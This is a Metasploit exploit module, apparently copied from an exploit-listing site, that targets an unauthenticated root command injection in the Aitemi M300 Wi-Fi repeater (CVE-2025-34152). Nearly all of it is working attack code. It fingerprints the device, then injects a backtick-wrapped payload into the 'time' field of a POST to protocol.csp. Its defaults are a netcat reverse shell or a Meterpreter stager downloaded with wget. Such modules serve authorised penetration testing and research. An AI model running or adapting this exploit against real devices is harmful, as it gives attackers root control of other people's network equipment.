Share
## https://sploitus.com/exploit?id=PACKETSTORM:209361
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'digest'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GoodRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (time param)',
            'Description' => %q{
              This module exploits an unauthenticated remote command injection vulnerability
              in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The vulnerability
              lies in the 'time' parameter of the time configuration endpoint, which is passed
              unsanitized to a shell command executed via the `date -s` mechanism. The injection
              executes with root privileges, without requiring authentication, reboot, or
              network reconfiguration.
            },
            'Author' => [
              'Valentin Lobstein' # Vulnerability discovery and Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'],
              ['CVE', '2025-34152']
            ],
            'Platform' => %(linux unix),
            'Arch' => [ARCH_CMD, ARCH_MIPSBE],
            'Payload' => {
              'BadChars' => "\x60"
            },
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_netcat'
                  }
                }
              ],
              [
                'Linux Meterpreter MIPSBE (MAY crash HTTP worker)',
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_CMD, ARCH_MIPSBE],
                  'DefaultOptions' => {
                    'FETCH_DELETE' => true,
                    'FETCH_COMMAND' => 'WGET',
                    'FETCH_WRITABLE_DIR' => '/tmp',
                    'PAYLOAD' => 'cmd/linux/http/mipsbe/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => true,
            'DisclosureDate' => '2025-08-07',
            'Notes' => {
              'Stability' => [CRASH_SERVICE_DOWN],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
      end
    
      def check
        fingerprint_hits = []
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'favicon.ico')
        )
    
        return CheckCode::Unknown('No response from target') unless res
        return CheckCode::Safe('favicon.ico not found') unless res.code == 200
    
        hash = Digest::SHA256.hexdigest(res.body)
        if hash == 'eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee'
          print_good('Favicon hash matched โ€“ likely Aitemi M300 device')
          fingerprint_hits << 'favicon'
        end
    
        server_header = res.headers['Server']
        if server_header&.start_with?('lighttpd/1.4.32')
          print_good("HTTP server version matched: #{server_header}")
          fingerprint_hits << 'httpd'
        end
    
        %w[index.html home.html].each do |page|
          res_html = send_request_cgi(
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, page)
          )
    
          next unless res_html&.code == 200
    
          if res_html.body.include?('langen.js') && res_html.body.include?('dw(TT_SetWifiExt)')
            print_good("HTML fingerprint matched in #{page} โ€“ UI strings detected")
            return CheckCode::Appears('HTML language markers confirmed')
          end
        end
    
        if fingerprint_hits.any?
          return CheckCode::Detected("Partial match: #{fingerprint_hits.join(', ')}")
        end
    
        CheckCode::Unknown('No identifiable fingerprint found')
      end
    
      def exploit
        raw_payload = "`#{payload.encoded}`"
        encoded_payload = CGI.escape(raw_payload).gsub('+', '%20')
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'protocol.csp?'),
          'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
          'data' => "fname=system&opt=time_conf&function=set&time=#{encoded_payload}"
        )
      end
    end